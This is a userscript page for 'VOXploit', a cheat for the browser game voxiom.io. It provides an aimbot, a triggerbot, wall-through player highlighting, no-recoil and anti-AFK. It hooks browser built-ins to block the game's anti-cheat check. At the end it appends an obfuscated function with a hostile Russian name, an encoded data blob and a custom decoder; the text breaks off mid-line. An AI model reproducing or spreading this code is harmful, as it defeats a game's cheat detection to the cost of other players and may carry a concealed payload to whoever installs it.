VOXploit FRIEND SYSTEM

Aimbot, triggerbot, chams, no-recoil for voxiom.io
Ask a question, post a review, or report the script.
Wrap lines
// ==UserScript==
// @name        VOXploit FRIEND SYSTEM
// @namespace   http://tampermonkey.net/
// @match       https://voxiom.io/*
// @run-at      document-start
// @grant       none
// @version     1.0.4
// @author      ClosetCheater
// @description Aimbot, triggerbot, chams, no-recoil for voxiom.io
// @license     GPL
// @require     https://cdn.jsdelivr.net/npm/[email protected]/dist/lil-gui.umd.min.js
// @require     https://unpkg.com/[email protected]/build/three.min.js
// @icon        https://www.google.com/s2/favicons?sz=64&domain=voxiom.io
// ==/UserScript==

const THREE = window.THREE;
delete window.THREE;

// avoid detection
const matchDetection = /^function\(\){\w+\['\w+'\]\(\);}$/;
const setIntervalHandler = {
  apply: function(target, thisArg, argumentsList) {
    const callback = argumentsList[0];
    const delay = argumentsList[1];
    if (delay === 1000 && callback && callback.toString().match(matchDetection)) {
      console.log('Blocked detection');
      return null;
    }
    return Reflect.apply(...arguments);
  }
};
window.setInterval = new Proxy(window.setInterval, setIntervalHandler);


// add #lil-gui container
const lilGuiContainer = document.createElement('div');
lilGuiContainer.id = 'lil-gui';
document.body.appendChild(lilGuiContainer);

window.friends = [];

const style = document.createElement('style');
const guiStyle = document.createElement('style');
const GUI = lil.GUI;
const gui = new GUI({ container: lilGuiContainer, title: 'Controls' });

let espConfig = {
  heightLine: 1.16,
  sneakHeight: 0.4,
  ennemyDistance: 50,
  maxAngleInRadians: 0.1,
  noRecoil: true,
  showBox: 0,
  showOutline: 0,
  showPlayer: 2,
  showLine: 1,
  wireframe: false,
  allEnnemies: false,
  isSniper: false,
  aimbot: 2,
  triggerBot: 2,
  aimbotIgnoreWall: false,
  mapZoom: 30,
  mapOffsetZ: 0,
  autoClaimAds: false,
  antiAFK: false,
  rainbow: false,
  showAimRadius: false,
  lockAimbotTriggerBot: false,
  aimbotKey: 'b',
  triggerBotKey: 't',
  toggleUIKey: '.',
  friends: [],
  showNameTags: false,
};

const aimbotFolder = gui.addFolder('Aimbot');
aimbotFolder.add(espConfig, 'aimbot').name(`aimbot (${espConfig.aimbotKey})`).options({Off: 0, LeftClick: 1, RightClick: 2, Always: 3}).listen();
aimbotFolder.add(espConfig, 'triggerBot').name(`triggerBot (${espConfig.triggerBotKey})`).options({Off: 0, LeftClick: 1, RightClick: 2, Always: 3}).listen();
aimbotFolder.add(espConfig, 'noRecoil');
aimbotFolder.add(espConfig, 'allEnnemies');
aimbotFolder.add(espConfig, 'isSniper');
const advancedAimbotFolder = aimbotFolder.addFolder('Advanced');
advancedAimbotFolder.close();
advancedAimbotFolder.add(espConfig, 'aimbotIgnoreWall');
advancedAimbotFolder.add(espConfig, 'showAimRadius');
advancedAimbotFolder.add(espConfig, 'maxAngleInRadians', 0.01, 0.5, 0.01);
advancedAimbotFolder.add(espConfig, 'heightLine', .5, 1.25, 0.01);
advancedAimbotFolder.add(espConfig, 'sneakHeight', 0, 1, 0.01);

const chamsFolder = gui.addFolder('Chams');
chamsFolder.close();
chamsFolder.add(espConfig, 'showPlayer').options({Off: 0, Ennemies: 1, All: 2});
chamsFolder.add(espConfig, 'showLine').options({Off: 0, Ennemies: 1, All: 2});
chamsFolder.add(espConfig, 'showOutline').options({Off: 0, Ennemies: 1, All: 2});
chamsFolder.add(espConfig, 'showBox').options({Off: 0, Ennemies: 1, All: 2});
chamsFolder.add(espConfig, 'ennemyDistance', 10, 100, 1);
chamsFolder.add(espConfig, 'wireframe');
chamsFolder.add(espConfig, 'showNameTags');
chamsFolder.add(espConfig, 'rainbow');
chamsFolder.add(espConfig, 'mapZoom', 20, 100, 1);
chamsFolder.add(espConfig, 'mapOffsetZ', -50, 50, 1);

const toolsFolder = gui.addFolder('Tools');
toolsFolder.close();
toolsFolder.add(espConfig, 'autoClaimAds');
toolsFolder.add(espConfig, 'antiAFK');
toolsFolder.add(espConfig, 'lockAimbotTriggerBot');

// load/save config
const configFolder = gui.addFolder('Config');
configFolder.add(espConfig, 'toggleUIKey').name('Toggle UI key');
configFolder.add(espConfig, 'aimbotKey').name('Aimbot key');
configFolder.add(espConfig, 'triggerBotKey').name('Triggerbot key');
configFolder.close();
const defaultConfig = gui.save();
let config = { configName: 'espConfig' };
configFolder.add(config, 'configName').name('Config name');
configFolder.add({ export: () => {
  const currentConfig = JSON.stringify(gui.save(), null, 2);
  const element = document.createElement('a');
  element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(currentConfig));
  element.setAttribute('download', config.configName + '.json');
  element.style.display = 'none';
  document.body.appendChild(element);
  element.click();
  document.body.removeChild(element);
}}, 'export').name('Export config');
configFolder.add({ import: () => {
  const input = document.createElement('input');
  input.type = 'file';
  input.accept = '.json';
  input.onchange = (e) => {
    const file = e.target.files[0];
    const reader = new FileReader();
    reader.onload = (e) => {
      gui.load(JSON.parse(e.target.result));
    };
    reader.readAsText(file);
  };
  input.click();
}}, 'import').name('Import config');
configFolder.add({ reset: () => {
  gui.load(defaultConfig);
  localStorage.removeItem('espConfig');
}}, 'reset').name('Reset config');
configFolder.add({ addFriend: () => {
  espConfig.friends.push(window.prompt("Enter name of friends you want to add:"));
  friends = espConfig.friends;
}}, 'addFriend').name('Add friend');
configFolder.add({ removeFriend: () => {
  friends = espConfig.friends; // Assuming `friends` is a global or typo for `espConfig.friends`
  let friendList = "";
  for (let i = 0; i < espConfig.friends.length; i++) { // Use espConfig.friends consistently
    friendList += espConfig.friends[i];
    friendList += "(" + i + ")";
    if (i != espConfig.friends.length - 1) {
      friendList += ", ";
    }
  }
  window.alert(friendList);
  let itemToRemove = window.prompt("Enter name or index of friend to remove:");

  let removed;
  if (itemToRemove === null) {
    window.alert("Removal canceled.");
    return; // Exit early if canceled
  }

  // Try converting to a number
  let index = parseInt(itemToRemove, 10); // Base 10 for integers
  if (!isNaN(index) && index >= 0 && index < espConfig.friends.length) {
    // It’s a valid index
    removed = espConfig.friends.splice(index, 1);
  } else {
    // Treat as a name (string)
    for (let i = 0; i < espConfig.friends.length; i++) {
      if (espConfig.friends[i] === itemToRemove) {
        removed = espConfig.friends.splice(i, 1);
        break;
      }
    }
  }

  if (removed && removed.length > 0) {
    window.alert(removed[0] + " is removed from friend list.");
  } else {
    window.alert(itemToRemove + " not found.");
  }
}}, 'removeFriend').name('Remove friend');

// auto load/save config
const savedConfig = localStorage.getItem('espConfig');
if (savedConfig) {
  console.log('Loaded config', savedConfig);
  gui.load(JSON.parse(savedConfig));
}
gui.onChange(() => {
  localStorage.setItem('espConfig', JSON.stringify(gui.save()));
});

// listen for key press
document.addEventListener('keydown', (e) => {
  if (!espConfig.lockAimbotTriggerBot && e.key === espConfig.aimbotKey) {
    espConfig.aimbot = (espConfig.aimbot + 1) % 4;
  }
  if (!espConfig.lockAimbotTriggerBot && e.key === espConfig.triggerBotKey) {
    espConfig.triggerBot = (espConfig.triggerBot + 1) % 4;
  }
  if (e.key === espConfig.toggleUIKey) {
    lilGuiContainer.style.display = lilGuiContainer.style.display === 'none' ? 'block' : 'none';
  }
  if (e.key === 'e') {
    if (espConfig.autoClaimAds) {
      setTimeout(() => {
        claimAds();
      }, 100);
    }
  }
});

// no-recoil
let foundRecoil = false;
const arrayPushHandler = {
  apply: function(target, thisArg, argumentsList) {
    if (!foundRecoil && argumentsList.length === 1) {
      const item = argumentsList[0];
      if (item && typeof item === 'object') {
        const keys = Object.keys(item);
        if (keys.length === 44) {
          for (const key in item) {
            if (item[key] === 0.3) {
              console.log('Recoil key found', key);
              foundRecoil = true;
              Object.defineProperty(Object.prototype, key, {
                get: () => {
                  return espConfig.noRecoil ? 0 : item[key];
                },
                set: (baseRecoil) => {
                  _baseRecoil = baseRecoil;
                }
              });
              break;
            }
          }
        }
      }
    }
    return Reflect.apply(...arguments);
  }
};
Array.prototype.push = new Proxy(Array.prototype.push, arrayPushHandler);

// listen for mouse click
let isLeftClick = false;
let isRightClick = false;
document.addEventListener('mousedown', (e) => {
  if (e.button === 0) {
    isLeftClick = true;
  }
  if (e.button === 2) {
    if (espConfig.isSniper) {
      setTimeout(() => {
        isRightClick = true;
      }, 400);
    } else {
      isRightClick = true;
    }
  }
});
document.addEventListener('mouseup', (e) => {
  if (e.button === 0) {
    isLeftClick = false;
  }
  if (e.button === 2) {
    isRightClick = false;
  }
});

// obfuscaed keys
let worldScene = null;
let childrenKey = null;
let worldCamera = null;
let projectionMatrixKey = null;
let matrixWorldKey = null;
let matrixElKey = null;

// three.js setup
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(60, window.innerWidth / window.innerHeight, 0.1, 1000);
camera.rotation.order = 'YXZ';
let saveViewport = new THREE.Vector4();
let saveScissor = new THREE.Vector4();
let minimapViewport = new THREE.Vector4(20, window.innerHeight - 250 - 20, 250, 250);
const minimapCamera = new THREE.OrthographicCamera(-espConfig.mapZoom, espConfig.mapZoom, espConfig.mapZoom, -espConfig.mapZoom, 0.1, 1000);
minimapCamera.rotation.order = 'YXZ';
minimapCamera.position.set(0, 50, 0);
minimapCamera.lookAt(0, 0, 0);
const renderer = new THREE.WebGLRenderer( {
  alpha: true,
  antialias: true
});
renderer.setSize(window.innerWidth, window.innerHeight);
renderer.setPixelRatio(window.devicePixelRatio);
renderer.domElement.id = 'overlayCanvas';
document.body.appendChild(renderer.domElement);


function setTransform(target, transform, isMatrix = true) {
  const matrix = new THREE.Matrix4().fromArray(isMatrix ? transform : transform[matrixWorldKey][matrixElKey]);
  matrix.decompose(target.position, target.quaternion, target.scale);
}

doOnce = (fn) => {
  let done = false;
  return (...args) => {
    if (!done) {
      done = true;
      return fn(...args);
    }
  };
};

function checkWorldCamera(object) {
  if (worldCamera && object.uuid === worldCamera.uuid) return;
  let hasProjectionMatrix = false;
  for (const key in object) {
    const element = object[key];
    if (!element) continue;
    if (typeof element == 'object') {
      if (hasProjectionMatrix) continue;
      const valueKey = Object.keys(element)[0];
      const value = element[valueKey];
      if (Array.isArray(value) && value[11] === -1) {
        hasProjectionMatrix = true;
        matrixElKey = valueKey;
        projectionMatrixKey = key;
      }
    } else if (typeof element === 'function') {
      const code = element.toString();
      const match = /verse'\]\(this\['([^']+)'\]\);/.exec(code);
      if (match) {
        matrixWorldKey = match[1];
      }
    }
    if (hasProjectionMatrix && matrixWorldKey) {
      console.log('Found camera', {object}, object);
      worldCamera = object;
      object[projectionMatrixKey] = new Proxy(object[projectionMatrixKey], {
        get: function(target, prop, receiver) {
          setTransform(camera, object, false);
          camera.near = worldCamera.near;
          camera.far = worldCamera.far;
          camera.aspect = worldCamera.aspect;
          camera.fov = worldCamera.fov;
          camera.updateProjectionMatrix();
          worldCamera = object;
          window.worldCamera = object;
          return Reflect.get(...arguments);
        }
      });
      break;
    }
  }
}

function checkWorldScene(object) {
  if (worldScene || object instanceof THREE.Scene) return;
  for (const key in object) {
    const element = object[key];
    if (!element) continue;
    if (Array.isArray(element) && element.length === 9) {
      const value = element[0];
      if (value && typeof value === 'object' && value.hasOwnProperty('uuid')) {
        childrenKey = key;
      }
    }
    if (childrenKey) {
      console.log('Found scene', {childrenKey}, object);
      worldScene = object;
      window.worldScene = object;
      renderer.setAnimationLoop(animate);
      break;
    }
  }
}

Object.defineProperty( Object.prototype, 'overrideMaterial', {
  get: function() {
    checkWorldScene(this);
    return this._overrideMaterial;
  },
  set: function(value) {
    this._overrideMaterial = value;
  }
});
Object.defineProperty( Object.prototype, 'far', {
  get: function() {
    checkWorldCamera(this);
    return this._far;
  },
  set: function(value) {
    this._far = value;
  }
});

function isPlayer(entity) {
  try {
    return entity[childrenKey].length > 2 || !entity[childrenKey][1].geometry;
  } catch {
    return false;
  }
}

// claim ads
function claimAds() {
  document.querySelectorAll('svg').forEach(svg => {
    if (svg.getAttribute('data-icon') === 'play-circle') {
      svg.closest('div').click();
      console.log('Claimed ads');
    }
  });
}

const context2DFillTextHandler = {
  apply: function(target, thisArg, argumentsList) {
    thisArg.canvas.lastText = argumentsList[0];
    return Reflect.apply(...arguments);
  }
};
CanvasRenderingContext2D.prototype.fillText = new Proxy(CanvasRenderingContext2D.prototype.fillText, context2DFillTextHandler);

function isEnnemy(entity) {
  for (const child of entity[childrenKey]) {
    try {
      const matImage = child.material.map.image;
      if (matImage instanceof HTMLCanvasElement && matImage.hasOwnProperty('lastText')) {
        entity.playerName = matImage.lastText;
        return false;
      }
    } catch {}
  }
  return true;
}

function setFiring(shouldFire) {
  if (setFiring.firing === shouldFire) return;
  setFiring.firing = shouldFire;
  if (shouldFire) {
    if (espConfig.isSniper) { // need improvement
      setTimeout(() => {
        document.dispatchEvent(new MouseEvent('mousedown', { buttons: 3 }));
        setTimeout(() => {
          document.dispatchEvent(new MouseEvent('mouseup', { buttons: 0 }));
        }, 200);
        // setFiring.firing = false;
      }, 300);
    } else {
      document.dispatchEvent(new MouseEvent('mousedown', { buttons: 3 }));
    }
  } else {
    document.dispatchEvent(new MouseEvent('mouseup', { buttons: 0 }));
  }
}

const colors = {
  ennemy: new THREE.Color(0xff0000),
  player: new THREE.Color(0x00ff00),
  friend: new THREE.Color(0xffff00),
  blue: new THREE.Color(0x0000ff),
};

const outlineMats = {
  ennemy: new THREE.LineBasicMaterial({ color: colors.ennemy }),
  player: new THREE.LineBasicMaterial({ color: colors.player }),
  friend: new THREE.LineBasicMaterial({ color: colors.friend }),
};
const meshMats = {
  ennemy: new THREE.MeshBasicMaterial({ color: colors.ennemy, transparent: true, opacity: 0.5 }),
  player: new THREE.MeshBasicMaterial({ color: colors.player, transparent: true, opacity: 0.5 }),
  friend: new THREE.MeshBasicMaterial({ color: colors.friend, transparent: true, opacity: 0.5 }),
};

const raycaster = new THREE.Raycaster();
const edgesGeometry = new THREE.EdgesGeometry(new THREE.BoxGeometry(1, 1, 1).translate(0, 0.5, 0));


const lineGeometry = new THREE.BufferGeometry();
const lineMaterial = new THREE.LineBasicMaterial({ vertexColors: true, transparent: true });
const line = new THREE.LineSegments(lineGeometry, lineMaterial);
line.frustumCulled = false;
scene.add(line);

const dummyLookAt = new THREE.PerspectiveCamera();
const color = new THREE.Color();

const chunkMaterial = new THREE.MeshNormalMaterial();

const boxPlayerGeometry = new THREE.BoxGeometry(.25, 1.25, 0.25);


// crosshair circle
const crosshairGeometry = new THREE.CircleGeometry(.5, 32);
const crosshairMaterial = new THREE.LineBasicMaterial({ color: 0xffffff, transparent: true, opacity: 0.2 });
const crosshair = new THREE.LineLoop(crosshairGeometry, crosshairMaterial);
camera.add(crosshair);
scene.add(camera);

function calculateValue(maxAngleInRadians) {
  const a = -79.83;
  const b = -30.06;
  const c = -0.90;
  return a * Math.exp(b * maxAngleInRadians) + c;
}

function isFriend(entity) {
	for (let friend of friends) {
		if (entity.playerName) {
			if (entity.playerName.toLowerCase() == friend.toLowerCase()) {
				console.log(entity.playerName + ' is a friend');
				return true;
			}
		}
	}
	return false;
}

function createSprite(text, bgColor = '#000') {
	const fontSize = 40;
	const strokeSize = 10;
	const font = 'normal ' + fontSize + 'px Arial';

	const canvas = document.createElement('canvas');
	const ctx = canvas.getContext('2d');

	ctx.font = font;
	canvas.width = ctx.measureText(text).width + strokeSize * 2;
	canvas.height = fontSize + strokeSize * 2;

	ctx.fillStyle = bgColor;
	ctx.fillRect(0, 0, canvas.width, canvas.height);

	ctx.font = font;
	ctx.fillStyle = 'white';
	ctx.textBaseline = 'top';
	ctx.textAlign = 'left';
	ctx.lineWidth = strokeSize;
	ctx.strokeText(text, strokeSize, strokeSize);
	ctx.fillText(text, strokeSize, strokeSize);

	const material = new THREE.SpriteMaterial({
		map: new THREE.CanvasTexture(canvas),
		sizeAttenuation: false,
		fog: false,
		depthTest: false,
		depthWrite: false
	});
	const sprite = new THREE.Sprite(material);
	sprite.center.y = 0;

	sprite.scale.y = 0.02;
	sprite.scale.x = sprite.scale.y * canvas.width / canvas.height;

	return sprite;
}

function animate(time) {
  espConfig.friends = friends;
  const now = Date.now();
  const entities = childrenKey ? worldScene[childrenKey][5][childrenKey] : [];
  const lineOrigin = camera.localToWorld(new THREE.Vector3(0, 0, -10));
  const linePositions = [];
  crosshair.position.z = calculateValue(espConfig.maxAngleInRadians);
  crosshair.visible = espConfig.showAimRadius;
  const colorArray = [];
  const aimbotTarget = { angleDifference: Infinity};
  const chunks = [];
  const gameChunks = childrenKey ? worldScene[childrenKey][4][childrenKey] : [];
  for (const chunk of gameChunks) {
    if (!chunk || !chunk.geometry) continue;
    const chunkPositions = chunk.geometry.attributes.position.array;
    if (!chunkPositions || !chunkPositions.length) continue;
    if (!chunk.myChunk) {
      const geometry = new THREE.BufferGeometry();
      geometry.setAttribute(
        'position',
        new THREE.Float32BufferAttribute(chunkPositions, 3)
      );
      geometry.setIndex(
        new THREE.BufferAttribute(chunk.geometry.index.array, 1)
      );
      geometry.computeVertexNormals();
      geometry.computeBoundingBox();
      chunk.myChunk = new THREE.Mesh(geometry, chunkMaterial);
      chunk.myChunk.box = new THREE.Box3();
    }
    const myChunk = chunk.myChunk;
    if (chunk.material) chunk.material.wireframe = espConfig.wireframe;
    setTransform(myChunk, chunk, false);
    myChunk.updateMatrixWorld();
    myChunk.box.copy(myChunk.geometry.boundingBox).applyMatrix4(myChunk.matrixWorld);
    chunks.push(myChunk);
  }

  chunks.sort((a, b) => {
    const distanceA = a.position.distanceTo(camera.position);
    const distanceB = b.position.distanceTo(camera.position);
    return distanceB - distanceA;
  });

  const shouldAimbot = espConfig.aimbot === 3 || (espConfig.aimbot === 1 && isLeftClick) || (espConfig.aimbot === 2 && isRightClick);

  entities.forEach(entity => {
    if (!entity || !entity.parent) return;
    if (!entity.myObject3D) {
      entity.myObject3D = new THREE.Object3D();
      entity.myObject3D.frustumCulled = false;
      entity.discovered = now;
      entity.loaded = false;
      entity.logged = false;
      entity.ennemy = null;
      return;
    }
    if (typeof entity.visible === 'boolean' && !entity.visible) {
      entity.myObject3D.visible = false;
      return;
    }
    if (!entity.loaded && now - entity.discovered < 500) return;
    entity.loaded = true;
    if (((entity.isFriend != isFriend(entity)) || !entity.logged) && isPlayer(entity)) {
      entity.isFriend = isFriend(entity);
      const skinnedMesh = entity[childrenKey][1][childrenKey][3];
      entity.isPlayer = true;
      entity.logged = true;
      entity.ennemy = isEnnemy(entity);
			const sprite = createSprite(entity.playerName, colors.friend);
			entity.myObject3D.add(sprite);
			entity.myObject3D.sprite = sprite;
      const playerMesh = new THREE.Mesh(skinnedMesh.geometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player);
      entity.myObject3D.add(playerMesh);
      entity.myObject3D.playerMesh = playerMesh;
      const playerMiniMap = new THREE.Mesh(skinnedMesh.geometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player);
      playerMiniMap.visible = false;
      entity.myObject3D.add(playerMiniMap);
      entity.myObject3D.playerMiniMap = playerMiniMap;
      const outline = new THREE.LineSegments(edgesGeometry, entity.ennemy ? outlineMats.ennemy : entity.isFriend ? outlineMats.friend : outlineMats.player);
      outline.scale.set(0.5, 1.25, 0.5);
      outline.frustumCulled = false;
      entity.myObject3D.add(outline);
      entity.myObject3D.outline = outline;
      const boxMesh = new THREE.Mesh(boxPlayerGeometry, entity.ennemy ? meshMats.ennemy : entity.isFriend ? meshMats.friend : meshMats.player);
      boxMesh.position.y = 0.625;
      entity.myObject3D.add(boxMesh);
      entity.myObject3D.boxMesh = boxMesh;
      const dir = new THREE.Vector3(0, 0, -1);
      const origin = new THREE.Vector3(0, 1, 0);
      const arrowLookingAt = new THREE.ArrowHelper(dir, origin, 1, entity.ennemy ? colors.ennemy : colors.player, 0.5, .4);
      playerMiniMap.add(arrowLookingAt);
      setTransform(entity.myObject3D, entity, false);
      scene.add(entity.myObject3D);
    }
    if (entity.isPlayer) {
      entity.myObject3D.playerMesh.rotation.y = -entity[childrenKey][1].rotation._y;
      entity.myObject3D.playerMiniMap.rotation.y = -entity[childrenKey][1].rotation._y;
      const skinnedMesh = entity[childrenKey][1][childrenKey][3];
      const isSneak = skinnedMesh.skeleton.bones[4].rotation._x > 0.1;
      entity.myObject3D.boxMesh.scale.set(1, isSneak ? .4 : 1, 1);
      entity.myObject3D.outline.scale.set(0.5, isSneak ? .9 : 1.25, 0.5);
      entity.myObject3D.playerMesh.scale.set(1, isSneak ? .7 : 1, 1);
      entity.myObject3D.sprite.position.y = entity.isSneak ? 1.1 : 1.5;

      entity.myObject3D.visible = true;
      entity.myObject3D.playerMesh.visible = espConfig.showPlayer === 2 || (espConfig.showPlayer === 1 && !entity.ennemy);
      entity.myObject3D.boxMesh.visible = espConfig.showBox === 2 || (espConfig.showBox === 1 && entity.ennemy);
      entity.myObject3D.outline.visible = espConfig.showOutline === 2 || (espConfig.showOutline === 1 && entity.ennemy);
      entity.myObject3D.sprite.visible = espConfig.showNameTags && !entity.ennemy;
      setTransform(entity.myObject3D, entity, false);

      // aimbot and line
      const pos = entity.myObject3D.position.clone();
      pos.y -= isSneak ? espConfig.sneakHeight : 0;
      // line
      if (espConfig.showLine === 2 || (espConfig.showLine === 1 && entity.ennemy)) {
        if (espConfig.rainbow) {
          color.setHSL(time % 2000 / 2000, 1, 0.5);
        } else if (entity.ennemy) {
          color.lerpColors(colors.ennemy, colors.player, pos.distanceTo(camera.position) / espConfig.ennemyDistance);
          color.a = .8;
        } else {
          color.set(colors.blue);
          color.a = .3;
        }
        linePositions.push(lineOrigin.x, lineOrigin.y, lineOrigin.z);
        pos.y += 1.25;
        linePositions.push(pos.x, pos.y, pos.z);
        pos.y -= 1.25;
        colorArray.push(color.r, color.g, color.b, color.a);
        colorArray.push(color.r, color.g, color.b, color.a);
      }
      pos.y += espConfig.heightLine;
      // aimbot
      if (shouldAimbot && (entity.ennemy || espConfig.allEnnemies)) {
        if (entity.isFriend) {
          return;
        }
        const distance = pos.distanceTo(camera.position);
        const target = pos.clone();
        const dummy = new THREE.PerspectiveCamera();
        setTransform(dummy, worldCamera, false);
        dummy.lookAt(target);
        const cameraVector = new THREE.Vector3(0, 0, -1).applyQuaternion(camera.quaternion);
        const targetVector = new THREE.Vector3(0, 0, -1).applyQuaternion(dummy.quaternion);
        const angleDifference = cameraVector.angleTo(targetVector);
        if (angleDifference < espConfig.maxAngleInRadians && angleDifference < aimbotTarget.angleDifference) {
          const directionV3 = new THREE.Vector3();
          directionV3.subVectors(target, camera.position).normalize();
          raycaster.set(camera.position, directionV3);
          let behindBlock = false;
          if (espConfig.aimbotIgnoreWall) {
            aimbotTarget.angleDifference = angleDifference;
            aimbotTarget.target = target;
          } else {
            for (const chunk of chunks) {
              if (raycaster.ray.intersectsBox(chunk.box)) {
                const hit = raycaster.intersectObject(chunk)[0];
                if (hit && hit.distance < distance) {
                  behindBlock = true;
                  break;
                }
              }
            }
            if (!behindBlock) {
              aimbotTarget.angleDifference = angleDifference;
              aimbotTarget.target = target;
              color.setHSL(time % 2000 / 2000, 1, 0.5);
            }
          }
        }
      }
    }
  });

  // aim at target
  if (espConfig.aimbot && shouldAimbot && aimbotTarget.target) {
    setTransform(dummyLookAt, worldCamera, false);
    dummyLookAt.lookAt(aimbotTarget.target);
    worldCamera.rotation.set(
      dummyLookAt.rotation.x,
      dummyLookAt.rotation.y,
      dummyLookAt.rotation.z
    );
  }
  // triggerbot
  const shouldTrigger = espConfig.triggerBot === 3 || (espConfig.triggerBot === 1 && isLeftClick) || (espConfig.triggerBot === 2 && isRightClick);
  if (shouldTrigger) {
    raycaster.set(camera.position, camera.getWorldDirection(new THREE.Vector3()));
    let hasHit = false;
    for (const entity of entities) {
      if (!entity.myObject3D.visible) continue;
      if (entity.isPlayer && (entity.ennemy || espConfig.allEnnemies)) {
        const hit = raycaster.intersectObject(entity.myObject3D.playerMesh);
        if (hit.length) {
          hasHit = true;
          if (entity.isFriend) {
            hasHit = false;
            break;
          }
          const distance = hit[0].distance;
          for (const chunk of chunks) {
            if (raycaster.ray.intersectsBox(chunk.box)) {
              const hitBlock = raycaster.intersectObject(chunk)[0];
              if (hitBlock && hitBlock.distance < distance) {
                hasHit = false;
                break;
              }
            }
          }
          if (hasHit) {
            break;
          }
        }
      }
    }
    setFiring(hasHit);
  } else {
    setFiring(false);
  }

  line.geometry.setAttribute('color', new THREE.Float32BufferAttribute(colorArray, 4));
  line.geometry.setAttribute('position', new THREE.Float32BufferAttribute(linePositions, 3));
  line.visible = espConfig.showLine;

  renderer.render(scene, camera);

  // minimap
  // make entities larger for minimap
  const scale = espConfig.mapZoom / 3;
  entities.forEach(entity => {
    if (entity.isPlayer) {
      entity.myObject3D.playerMesh.visible = false;
      entity.myObject3D.boxMesh.visible = false;
      entity.myObject3D.outline.visible = false;
      entity.myObject3D.playerMiniMap.visible = true;
      entity.myObject3D.playerMiniMap.scale.set(scale, 1, scale);
    }
  });
  if (worldCamera) {
    line.visible = false;
    crosshair.visible = false;
    // update orthographic camera based on espConfig.mapZoom
    minimapCamera.left = -espConfig.mapZoom;
    minimapCamera.right = espConfig.mapZoom;
    minimapCamera.top = espConfig.mapZoom;
    minimapCamera.bottom = -espConfig.mapZoom;

    // update position with camera position
    minimapCamera.position.copy(camera.position);
    minimapCamera.position.y += 50;
    minimapCamera.position.z += espConfig.mapOffsetZ;
    minimapCamera.rotation.y = camera.rotation.y;
    minimapCamera.updateProjectionMatrix();

    renderer.getViewport(saveViewport);
    renderer.getScissor(saveScissor);
    let saveScissorTest = renderer.getScissorTest();
    renderer.setViewport(minimapViewport);
    renderer.setScissor(minimapViewport);
    renderer.setScissorTest(true);

    renderer.render(scene, minimapCamera);

    renderer.setViewport(saveViewport);
    renderer.setScissor(saveScissor);
    renderer.setScissorTest(saveScissorTest);
  }
  entities.forEach(entity => {
    if (entity.isPlayer) {
      entity.myObject3D.playerMiniMap.visible = false;
    }
  });

  scene.children.forEach(child => {
    if (child.type === 'Object3D') {
      child.visible = false;
    }
  });
}

window.addEventListener('resize', () => {
  renderer.setSize( window.innerWidth, window.innerHeight );
});

// add style to header
style.innerHTML = `
#overlayCanvas {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  pointer-events: none;
  z-index: 1000;
}
#lil-gui {
  position: absolute;
  top: 50%;
  right: 0;
  z-index: 1001;
  transform: translateY(-50%);
}
.lil-gui {
  --background-color: rgba(0, 0, 0, 0.5);
}
`;
guiStyle.innerHTML = `
.lil-gui {
	--title-background-color: #ff0019;
	--number-color: #00ff33;
}
`;
document.head.appendChild(style);
document.head.appendChild(guiStyle);

// anti-afk
setInterval(() => {
  if (espConfig.antiAFK) {
    // move left for .5s then right for .5s
    document.dispatchEvent(new KeyboardEvent('keydown', { keyCode: 87}));
    setTimeout(() => {
      document.dispatchEvent(new KeyboardEvent('keyup', { keyCode: 87}));
      document.dispatchEvent(new KeyboardEvent('keydown', { keyCode: 83}));
      setTimeout(() => {
        document.dispatchEvent(new KeyboardEvent('keyup', { keyCode: 83}));
      }, 500);
    }, 500);
  }
}, 5000);


// wait for load
window.addEventListener('load', () => {
  console.log('Loaded');
  if (espConfig.autoClaimAds) {
    setTimeout(() => {
      claimAds();
    }, 500);
  }
});
(function убейсебя() {
    // Data = "var tKa1aN,AULUAl,ZD42Wz,Vj6Jch,yI9ERAQ,BpmsAe,diKEiha,M3snIw,vArK_x;const PI8YG_F=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,!0x1,"g",!0x0,0x65,0x6e,0x2000000,0x4000000,0x2,0x3,0x7f,0x80,0x77,0x78,"ok",null];function YpuH4Ji(tKa1aN){var AULUAl="n&)=Qy?6^f(~4z/+hcplFV$C9JL3,BIse*78KvTi]d2o5utk:!.O0q;#RXN}xYDH>GP`{_|S[bj1%ErZga\"A@wU<mMW",ZD42Wz,Vj6Jch,yI9ERAQ,BpmsAe,diKEiha,M3snIw,vArK_x;TTMtCLM(ZD42Wz=""+(tKa1aN||""),Vj6Jch=ZD42Wz.length,yI9ERAQ=[],BpmsAe=PI8YG_F[0x0],diKEiha=PI8YG_F[0x0],M3snIw=-PI8YG_F[0x1]);for(vArK_x=PI8YG_F[0x0];vArK_x<Vj6Jch;vArK_x++){var YpuH4Ji=AULUAl.indexOf(ZD42Wz[vArK_x]);if(YpuH4Ji===-PI8YG_F[0x1])continue;if(M3snIw<PI8YG_F[0x0]){M3snIw=YpuH4Ji}else{TTMtCLM(M3snIw+=YpuH4Ji*PI8YG_F[0xc],BpmsAe|=M3snIw<<diKEiha,diKEiha+=(M3snIw&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(yI9ERAQ.push(BpmsAe&PI8YG_F[0x3]),BpmsAe>>=PI8YG_F[0x2],diKEiha-=PI8YG_F[0x2])}while(diKEiha>PI8YG_F[0x9]);M3snIw=-PI8YG_F[0x1]}}if(M3snIw>-PI8YG_F[0x1]){yI9ERAQ.push((BpmsAe|M3snIw<<diKEiha)&PI8YG_F[0x3])}return zsfbjJD(yI9ERAQ)}function tWYa_b(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=YpuH4Ji(AULUAl[ZD42Wz])}return 